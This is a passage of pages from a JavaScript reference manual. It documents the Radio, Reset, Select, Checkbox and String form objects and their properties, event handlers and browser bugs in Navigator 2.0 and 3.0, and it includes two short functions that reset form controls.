HTML Syntax

A Radio element is created with a standard HTML <INPUT> tag, with the addition of the new onClick attribute. Radio elements are created in groups by specifying multiple <INPUT> tags that have the same NAME attribute.

<FORM>
    ...
  <INPUT
    TYPE="radio"    specifies that this is a radio button
    [ NAME="name" ]   a name that can later be used to refer to this button...
    ...or to the group of buttons with this name
    specifies the name property
    [ VALUE="value" ] the value returned when this button is selected
    specifies the value property
    [ CHECKED ] specifies that the button is initially checked
    specifies the defaultChecked property
    [ onClick="handler" ] JavaScript statements to be executed when the button
    is clicked
  >
label the HTML text that should appear next to the button
    ...
</FORM>

Description

The Radio element represents a single graphical radio button in an HTML form. A radio button is one button in a group of buttons that represent mutually exclusive choices. When one button is selected, the previously selected button becomes deselected.

The onClick event handler allows you to specify JavaScript code to be executed when the button is checked or unchecked.

You can examine the checked property to determine the state of the button, and you can also set this property to select or deselect the button. Note that setting checked changes the graphical appearance of the button, but does not invoke the onClick event handler. The initial value of the checked property, and the value of the defaultChecked property are determined by the CHECKED attribute. Only one Radio element in a group may contain this attribute--it sets the checked and defaultChecked properties true for that element and false for all other Radio buttons in the group. If none of the elements have the CHECKED attribute, then the first one in the group will be checked (and defaultChecked) by default.

Note that the text that appears next to a Radio button is not part of the Radio element itself, and must be specified externally to the Radio's HTML <INPUT> tag.

It is good programming style to specify the NAME attribute for a button, and is mandatory if the radio button is part of a form that will submit data to a CGI script running on a web server. Specifying a NAME attribute sets the name property, and also allows you to refer to the button by name (instead of as a member of the form elements array) in your JavaScript code, which makes the code more modular and portable.

Radio elements are used in groups of mutually exclusive options, and each member of the group is given the same NAME attribute (the shared name defines the members of the group). So if the shared name of a group of Radio elements in form f is "opts", then f.opts is an array of Radio elements, and f.opts.length is the number of elements in the array.

Unfortunately, in Navigator 2.0, there is a bug in how Radio elements in a group are assigned to an array. See the "Bugs" section for details.

You can set the VALUE attribute or the value property of a Radio element to specify the string that will be passed to the server if the Radio element is checked when the form is submitted. Each Radio element in a group should specify a distinct value so that a script on the server can determine which one was checked when the form was submitted.

Usage

Radio elements can be used to present the user with a list of multiple, mutually exclusive, options. Use the Checkbox element to present a single option or to present a list of options that are not mutually exclusive.

Bugs

As described above, when a group of Radio elements share the same NAME attribute, JavaScript assigns them to an array that bears that name. Unfortunately, there is a bug in this process in Navigator 2.0: if the radio elements do not have event handlers specified with the onClick attribute, then they are assigned to the array in reverse order. This is counter-intuitive, and is an incompatibility with Navigator 3.0 in which the bug is fixed.

The workaround is to always assign an event handler, if only a dummy one, to all of your Radio elements that will be manipulated with JavaScript. You can do this by including onClick="0" in the <INPUT> tag for each Radio element you define. With this workaround, you can ensure that the elements will be assigned to the array in the same order in Navigator 2.0 and Navigator 3.0.

At least some versions of Navigator do not correctly select the first radio button in a group when no buttons in the group have the CHECKED attribute specified. Therefore you should always explicitly specify the CHECKED attribute for one default selection in every radio button group.

See Also

"Checkbox", "Element", "Form"

Previous | Home | Next
prompt() | Book Index | Radio.blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio.blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio.blur() Method

Name

Radio.blur() Method--- see "Element.blur()"

Previous | Home | Next
Radio | Book Index | Radio.checked
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio.checked

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio.checked Property

Name

Radio.checked Property---whether a Radio button is selected

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

radio.checked

Description

checked is a read/write Boolean property of the Radio object. If the Radio button is checked, then the checked property is true. If the Radio is not checked, then checked is false.

If you set checked to true, then the Radio button will become selected, and whichever button was previously selected will become deselected. Note, however, that setting the checked property of a radio button to false will have no effect, because at least one button must always be selected, and you cannot deselect a radio button except by selecting some other button.

Note that setting the checked property does not cause the Radio's onClick event handler to be invoked. If you want to invoke that event handler, you must do so explicitly.

See Also

"Radio"

Previous | Home | Next
Radio.blur() | Book Index | Radio.click()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio.click()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio.click() Method

Name

Radio.click() Method--- see "Element.click()"

Previous | Home | Next
Radio.checked | Book Index | Radio.defaultChecked
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio.defaultChecked

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio.defaultChecked Property

Name

Radio.defaultChecked Property---initial state of a Radio button

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

radio.defaultChecked

Description

defaultChecked is a read-only Boolean property of the Radio object. It is true if the Radio button is initially selected--i.e., if the CHECKED attribute appears in the Radio's HTML <INPUT> tag. If this tag does not appear, then the Radio button is initially deselected, and defaultChecked is false.

Usage

You can use the defaultChecked property to reset a group of radio buttons back to its default state. You might do this when the user selects a Reset button in a form, for example. You can reset a group of radio buttons with the following function:

function resetRadio(radio_group) {
    var i;
    for(i = 0; i < radio_group.length; i++) {
        if (radio_group[i].defaultChecked) {
            radio_group[i].checked = true;
            break;
        }
    }
}

See Also

"Radio"

Previous | Home | Next
Radio.click() | Book Index | Radio.focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio.focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio.focus() Method

Name

Radio.focus() Method--- see "Element.focus()"

Previous | Home | Next
Radio.defaultChecked | Book Index | Radio.form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio.form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio.form Property

Name

Radio.form Property--- see "Element.form"

Previous | Home | Next
Radio.focus() | Book Index | Radio.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox.blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox.blur() Method

Name

Checkbox.blur() Method--- see "Element.blur()"

Previous | Home | Next
Checkbox | Book Index | Checkbox.checked
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio.name Property

Name

Radio.name Property--- see "Element.name"

Previous | Home | Next
Radio.form | Book Index | Radio.onblur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio.onblur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio.onblur() Handler

Name

Radio.onblur() Handler--- see "Element.onblur()"

Previous | Home | Next
Radio.name | Book Index | Radio.onclick()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio.onclick()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio.onclick() Handler

Name

Radio.onclick() Handler---invoked when a Radio button is selected

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

<INPUT TYPE="radio"  a definition of the handler
       onClick="handler-statements">
radio.onclick a reference to the handler
radio.onclick();  an explicit invocation of the handler

Description

onclick() is an event handler invoked when the user clicks on a Radio button. This event handler is defined by the onClick attribute of the HTML <INPUT> tag that defines the Radio button. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed when the user clicks on (i.e., checks or unchecks) the button.

See Also

"Radio"

Previous | Home | Next
Radio.onblur() | Book Index | Radio.onfocus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio.onfocus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio.onfocus() Handler

Name

Radio.onfocus() Handler--- see "Element.onfocus()"

Previous | Home | Next
Radio.onclick() | Book Index | Radio.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio.type Property

Name

Radio.type Property---see "Element.type"

Previous | Home | Next
Radio.onfocus() | Book Index | Radio.value
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Radio.value

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Radio.value Property

Name

Radio.value Property---value returned when form is submitted

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

radio.value

Description

value is a read/write string property of the Radio object. It specifies the text that is passed to the web server if the radio button is checked when the form is submitted. The initial value of value is specified by the VALUE attribute of the Radio's HTML <INPUT> tag. If the form will be submitted to a server (as opposed to simply used by JavaScript on the client side) then each radio button in a group must have a distinct value.

Usage

Note that the value field does not specify whether or not the radio button is currently selected; the checked property specifies the current state of the Radio object.

See Also

"Radio"

Previous | Home | Next
Radio.type | Book Index | Reset
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Reset

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Reset Element

Name

Reset Element---a button to reset a form's values

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

form.name
form.elements[i]

Properties

form

A read-only reference to the Form object that contains the Reset element.

name

A read-only string, set by the HTML NAME attribute, that specifies the name of the Reset element. This is also the name that can be used to reference the Reset element as a property of its form.

type

A read-only string that specifies the type of this form element. For Reset elements, it has the value "reset". Available in Navigator 3.0 and later.

value

A read-only string, set by the HTML VALUE attribute, that specifies the text to appear in the button. If no VALUE is specified, then (in Navigator) the button will be labelled "Reset" by default.

Methods

blur()

Removes keyboard focus from the Reset button.

click()

Simulates a click on the Reset button.

focus()

Gives keyboard focus to the Reset button.

Event Handlers

onblur()

Invoked when the Reset button loses keyboard focus.

onclick()

Invoked when the Reset button is clicked.

onfocus()

Invoked when the Reset button is given keyboard focus.

HTML Syntax

A Reset element is created with a standard HTML <INPUT> tag, with the addition of the onClick attribute:

<FORM>
    ...
  <INPUT
    TYPE="reset"    specifies that this is a Reset button
    [ VALUE="label" ] the text that is to appear within the button
    specifies the value property
    [ NAME="name" ]   a name that can later be used to refer to the button
    specifies the name property
    [ onClick="handler" ] JavaScript statements to be executed when the button
    is clicked
  >
    ...
</FORM>

Description

The Reset element has the same properties and methods as the Button element, but has a more specialized purpose. When a Reset element is clicked on, all input elements in the form that contains it will have their values reset back to their initial default values. (For most elements this means to the value specified by the HTML VALUE attribute.) If no initial value was specified, then a click on the Reset button will "clear" any user input from those elements.

Usage

If no VALUE attribute is specified for a Reset element, it will be labelled Reset. In some forms, it may be better to label the button Clear Form or Defaults.

In Navigator 3.0, you can simulate the action of a Reset button with the reset() method of the Form object. Also in Navigator 3.0, the onreset() event handler of the Form object will be invoked before the form is reset. This event handler can cancel the reset by returning false.

See Also

"Button", "Element", "Form"

Previous | Home | Next
Radio.value | Book Index | Reset.blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Reset.blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Reset.blur() Method

Name

Reset.blur() Method--- see "Element.blur()"

Previous | Home | Next
Reset | Book Index | Reset.click()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Reset.click()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Reset.click() Method

Name

Reset.click() Method--- see "Element.click()"

Previous | Home | Next
Reset.blur() | Book Index | Reset.focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Reset.focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Reset.focus() Method

Name

Reset.focus() Method--- see "Element.focus()"

Previous | Home | Next
Reset.click() | Book Index | Reset.form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox.checked

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox.checked Property

Name

Checkbox.checked Property---whether a Checkbox is checked

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

checkbox.checked

Description

checked is a read/write Boolean property of the Checkbox object. If the Checkbox is checked, then the checked property is true. If the Checkbox is not checked, then checked is false.

If you set checked to true, then the Checkbox will appear checked. Similarly, if you set this property to false, the Checkbox will appear unchecked. Note that setting the checked property does not cause the Checkbox's onClick event handler to be invoked.

See Also

"Checkbox"

Previous | Home | Next
Checkbox.blur() | Book Index | Checkbox.click()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Reset.form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Reset.form Property

Name

Reset.form Property--- see "Element.form"

Previous | Home | Next
Reset.focus() | Book Index | Reset.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Reset.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Reset.name Property

Name

Reset.name Property--- see "Element.name"

Previous | Home | Next
Reset.form | Book Index | Reset.onblur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Reset.onblur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Reset.onblur() Handler

Name

Reset.onblur() Handler--- see "Element.onblur()"

Previous | Home | Next
Reset.name | Book Index | Reset.onclick()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Reset.onclick()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Reset.onclick() Handler

Name

Reset.onclick() Handler---invoked when a Reset button is clicked

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

<INPUT TYPE="reset"  a definition of the handler
       onClick="handler-statements">
reset.onclick a reference to the handler
reset.onclick();  an explicit invocation of the handler

Description

The Reset.onclick() event handler is defined by the onClick attribute of the HTML <INPUT> tag that defines the Reset button. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed when the user clicks on the Reset button.

The Reset button has the special function of resetting all form elements to their default value. This event handler may add any additional functionality to the Reset button. In Navigator 2.0, there is no way for the onclick() event handler to cancel the reset action or to prevent the fields from being reset. In Navigator 3.0, however, the onclick() handler may return false to prevent the Reset object from resetting the form.

See Also

"Button",
"Button.onclick()",
"Form.onreset()",
"Form.reset()",
"Reset"

Previous | Home | Next
Reset.onblur() | Book Index | Reset.onfocus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Reset.onfocus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Reset.onfocus() Handler

Name

Reset.onfocus() Handler--- see "Element.onfocus()"

Previous | Home | Next
Reset.onclick() | Book Index | Reset.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Reset.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Reset.type Property

Name

Reset.type Property---see "Element.type"

Previous | Home | Next
Reset.onfocus() | Book Index | Reset.value
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Reset.value

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Reset.value Property

Name

Reset.value Property---the label of a Reset button

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

reset.value

Description

The value property is a read-only string that specified the text that appears within the Reset button. It is specified by the VALUE attribute of the <INPUT> tag that created the button. If no VALUE attribute is specified, the default value is "Reset".

See Also

"Element.value", "Reset"

Previous | Home | Next
Reset.type | Book Index | scroll()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: scroll()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

scroll() Method

Name

scroll() Method---see "Window.scroll()"

Previous | Home | Next
Reset.value | Book Index | Select
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select Element

Name

Select Element---a graphical selection list

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

form.element_name
form.elements[i]

Properties

form

A read-only reference to the Form object that contains the Select element.

length

A read-only integer that specifies the number of elements in the options[] array (i.e., the number of options that appear in the Select element).

name

A read-only string, set by the HTML NAME attribute, that specifies the name of the Select element. This is also the name that can be used to reference the Select element as a property of its form.

options

An array of Option objects, each of which describes one of the options displayed within the Select element.

selectedIndex

A read-only (read/write in Navigator 3.0) integer that specifies the index of the selected option within the Select element. If the Select element has its MULTIPLE attribute set and allows multiple selections, then this property only specifies the index of the first selected item or -1 if none are selected.

type

A read-only string that specifies the type of this form element. For Select elements, it has the value "select-one" or "select-multiple". Available in Navigator 3.0 and later.

Methods

blur()

Removes keyboard focus from the Select element.

click()

Simulates a click on Select element.

focus()

Gives keyboard focus to the Select element.

Event Handlers

onblur()

Invoked when the Select element loses keyboard focus.

onchange()

Invoked when the user selects or deselects an item.

onfocus()

Invoked when the Select element is given keyboard focus.

HTML Syntax

A Select element is created with a standard HTML <SELECT> tag, with the addition of the new onChange event-handler attribute. Options to appear within the Select element are created with the <OPTION> tag:

<FORM>
    ...
<SELECT
    NAME="name"   a name that identifies this element; specifies name property
    [ SIZE=integer ]  number of visible options in Select element
    [ MULTIPLE ]    multiple options may be selected, if present
    [ onChange="handler" ]    invoked when the selection changes
    [ onBlur="handler" ]  invoked when element loses focus
    [ onFocus="handler" ] invoked when element gains focus
>
<OPTION VALUE="value1" [SELECTED]> option_label1
<OPTION VALUE="value2" [SELECTED]> option_label2
    .
    .   other options here
    .
</SELECT>
   ...
</FORM>

Description

The Select element represents a graphical list of choices from which the user may select. If the MULTIPLE attribute is present in the HTML definition of the element, the user may select any number of options from the list. If that attribute is not present, the user may select only one option, and options have a "radio button" behavior--selecting one deselects whichever was previously selected.

The options in a Select element may be displayed in two distinct ways. If the SIZE attribute has a value greater than 1, or if the MULTIPLE attribute is present, they are displayed in a list box which is SIZE lines high in the browser window. If SIZE is smaller than the number of options, the list box will include a scrollbar so that all the options are accessible. On the other hand, if SIZE is specified as 1, and MULTIPLE is not specified, the currently selected option is displayed on a single line and the list of other options is made available through a drop-down menu. The first presentation style displays the options clearly but requires more space in the browser window. The second style requires minimal space, but does not display alternative options as explicitly.

The options[] property of the Select element is the most interesting. This is the array of Option objects that describe the choices presented by the Select element. The length property specifies the length of this array (as does options.length). See the documentation of the Option object for details.

In Navigator 3.0, the options displayed by the Select element may be dynamically modified. You can change the text displayed by an Option object simply by setting its text property. You can change the number of options displayed by the Select element by setting the options.length property. And you can create new options for display with the Option() constructor function. See Select.options[] and Option for details.

See Also

"Element", "Form", "Option"

Previous | Home | Next
scroll() | Book Index | Select.blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select.blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select.blur() Method

Name

Select.blur() Method--- see "Element.blur()"

Previous | Home | Next
Select | Book Index | Select.click()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox.click()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox.click() Method

Name

Checkbox.click() Method--- see "Element.click()"

Previous | Home | Next
Checkbox.checked | Book Index | Checkbox.defaultChecked
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select.click()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select.click() Method

Name

Select.click() Method--- see "Element.click()"

Previous | Home | Next
Select.blur() | Book Index | Select.focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select.focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select.focus() Method

Name

Select.focus() Method--- see "Element.focus()"

Previous | Home | Next
Select.click() | Book Index | Select.form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select.form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select.form Property

Name

Select.form Property--- see "Element.form"

Previous | Home | Next
Select.focus() | Book Index | Select.length
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select.length

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select.length Property

Name

Select.length Property---number of options in a Select object

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

select.length

Description

The length property of a select object is a read-only integer that specifies the number of elements in the select.options[] array. select.length refers to the same value as select.options.length.

See Also

"Option", "Select"

Previous | Home | Next
Select.form | Book Index | Select.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select.name Property

Name

Select.name Property--- see "Element.name"

Previous | Home | Next
Select.length | Book Index | Select.onblur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select.onblur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select.onblur() Handler

Name

Select.onblur() Handler--- see "Element.onblur()"

Previous | Home | Next
Select.name | Book Index | Select.onchange()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select.onchange()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select.onchange() Handler

Name

Select.onchange() Handler---invoked when the selection changes

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

<SELECT onChange="handler-statements" ...>  a definition of the handler
select.onchange   a reference to the handler
select.onchange();    an explicit invocation of the handler

Description

The Select.onchange() event handler is defined by the onChange attribute of the <SELECT> HTML tag that defines the Select object. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed whenever the user selects or deselects an option.

Bugs

In the Windows versions of Navigator 2.0, when the Select object is displayed in its drop-down menu form, the onchange() event handler is not invoked immediately after a choice is made; it is not invoked until the user clicks somewhere else on the page. This bug has been fixed in Navigator 3.0.

This is a severe enough bug (on a very common platform) that onchange() should be considered nonfunctional in Navigator 2.0. If you require immediate notification of changes, consider replacing your Select object with Checkbox or Radio objects, and using their onclick() event handlers.

See Also

"Option", "Select"

Previous | Home | Next
Select.onblur() | Book Index | Select.onfocus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select.onfocus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select.onfocus() Handler

Name

Select.onfocus() Handler--- see "Element.onfocus()"

Previous | Home | Next
Select.onchange() | Book Index | Select.options[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select.options[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select.options[] Property

Name

Select.options[] Property---the choices in a Select object

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

select.options[i]
select.options.length

Description

The options[] property contains an array of Option objects, each of which describe one of the selection options presented within the Select object select. The options.length property specifies the number of elements in the array, as does the select.length property. See the Option object for further details.

In Navigator 3.0, you can modify the options displayed in a Select object in any of the following ways:

  • If you set options.length to 0, all options in the Select object will be cleared.

  • If you set options.length to a value less than the current value, then the number of options in the Select object will be decreased, and those and the end of the array will disappear.

  • If you set an element in the options[] array to null, then that option will be removed from the Select object, and the elements above it in the array will be moved down, changing their indices, to occupy the new space in the array.

  • If you create a new Option object with the Option() constructor (see the Option reference entry), you can add that option to the end of list of options in the Select object by assigning the newly created option to a position at the end of the options[] array. To do this, set options[options.length].

See Also

"Option", "Select"

Previous | Home | Next
Select.onfocus() | Book Index | Select.selectedIndex
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select.selectedIndex

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select.selectedIndex Property

Name

Select.selectedIndex Property---the selected option

Availability

Navigator 2.0, Internet Explorer 3.0; extended to be writable in Navigator 3.0

Synopsis

select.selectedIndex

Description

The selectedIndex property of the Select object is an integer that specifies the index of the selected option within the Select object. If no option is selected, selectedIndex is -1. If more than one option is selected, selectedIndex specifies the index of the first one only.

In Navigator 2.0, selectedIndex is a read-only property. In Navigator 3.0, it is read/write: by setting the value of this property, you cause the specified option to become selected. You also cause all other options to become deselected, even if the Select object has the MULTIPLE attribute specified. When doing list-box style selection (instead of drop-down menu selection) you can deselect all options by setting selectedIndex to -1. Note that changing the selection in this way does not trigger the onchange() event handler.

Usage

When the MULTIPLE attribute is specified and selection of multiple options is allowed, the selectedIndex property is not very useful. In this case, to determine which options are selected, you should loop through the options[] array of the Select object, and check the selected property of each Option object.

See Also

"Option", "Select"

Previous | Home | Next
Select.options[] | Book Index | Select.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox.defaultChecked

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox.defaultChecked Property

Name

Checkbox.defaultChecked Property---initial state of a Checkbox

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

checkbox.defaultChecked

Description

defaultChecked is a read-only Boolean property of the Checkbox object. It is true if the Checkbox is initially checked--i.e., if the CHECKED attribute appears in the Checkbox's HTML <INPUT> tag. If this tag does not appear, then the Checkbox is initially unchecked, and defaultChecked is false.

Usage

You can use the defaultChecked property to reset a Checkbox back to its default state. You might do this when the user selects a Reset button in a form, for example. You can reset a Checkbox with the following function:

function resetCheckbox(checkbox) {
    if (checkbox.defaultChecked) checkbox.checked = true;
    else checkbox.checked = false;
}

See Also

"Checkbox"

Previous | Home | Next
Checkbox.click() | Book Index | Checkbox.focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Select.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Select.type Property

Name

Select.type Property---type of form element

Availability

Navigator 3.0

Synopsis

select.type

Description

type is a read-only string property shared by all form elements; it specifies the type of the element. The Select object is unusual in that there are two possible values for the type property. If the Select object allows only a single selection (i.e., if the MULTIPLE attribute does not appear in the object's HTML definition), the value of the type property is "select-one". If the MULTIPLE attribute does appear, the value of the type attribute is "select-multiple".

See Element.type for more information.

See Also

"Element.type", "Select"

Previous | Home | Next
Select.selectedIndex | Book Index | self
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: self

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

self Property

Name

self Property---see "Window.self"

Previous | Home | Next
Select.type | Book Index | setTimeout()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: setTimeout()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

setTimeout() Method

Name

setTimeout() Method---see "Window.setTimeout()"

Previous | Home | Next
self | Book Index | status
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: status

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

status Property

Name

status Property---see "Window.status"

Previous | Home | Next
setTimeout() | Book Index | String
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: String

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

String Object

Name

String Object---support for strings

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Constructor

new String(value) Navigator 3.0 only

Arguments

value

The initial value of the String object being created. This argument will be converted to a string, if necessary.

Returns

A newly created String object that holds the string value, or the string representation of value.

Properties

length

The number of characters in the string.

Methods

anchor()

Return a copy of the string, in an <A NAME=> environment.

big()

Return a copy of the string, in a <BIG> environment.

blink()

Return a copy of the string, in a <BLINK> environment.

bold()

